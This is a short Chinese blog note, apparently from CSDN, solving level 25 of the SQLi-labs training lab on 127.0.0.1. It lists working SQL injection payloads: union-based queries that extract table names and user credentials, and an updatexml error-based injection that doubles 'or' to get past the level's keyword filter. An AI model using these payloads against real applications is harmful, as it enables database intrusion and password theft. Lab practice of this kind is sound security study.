SQL-LABS 25关

最新推荐文章于 2024-05-27 17:06:22 发布

qq_52863655

最新推荐文章于 2024-05-27 17:06:22 发布

阅读量264

点赞数 1

分类专栏：笔记文章标签： sql 数据库 mvc

本文链接：https://blog.csdn.net/qq_52863655/article/details/119937689

版权

笔记专栏收录该内容

1 篇文章 0 订阅

订阅专栏

第二十五关：
直接开始验证它的闭合符号。发现是单引号闭合，然后查列利用 order by
在这里插入图片描述 http://127.0.0.1/sqli/Less-25/?id=122’ order by 2
查看底下的蓝字发现少了or 所以猜测对or进行了绕过。所以采用union select进行查询

http://127.0.0.1/sqli/Less-25/?id=122’ union select 1,2,3–+
可以查询出。接下来就是常规注入。
查库：http://127.0.0.1/sqli/Less-25/?id=122’ union select 1,database(),3–+
在这里插入图片描述

查表：select group_concat(table_name) from information_schema.tables where table_schema=’security’;
在这里插入图片描述

查列：select group_concat(column_name) from information_schema.columns where table_name=’users’;
在这里插入图片描述

查字段：selsct username,password from security.users;
在这里插入图片描述

但是本关还可以利用报错注入方式进行注入。

在这里插入图片描述
语句：http://127.0.0.1/sqli/Less-25/?id=122’ union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=‘security’)),1),3–+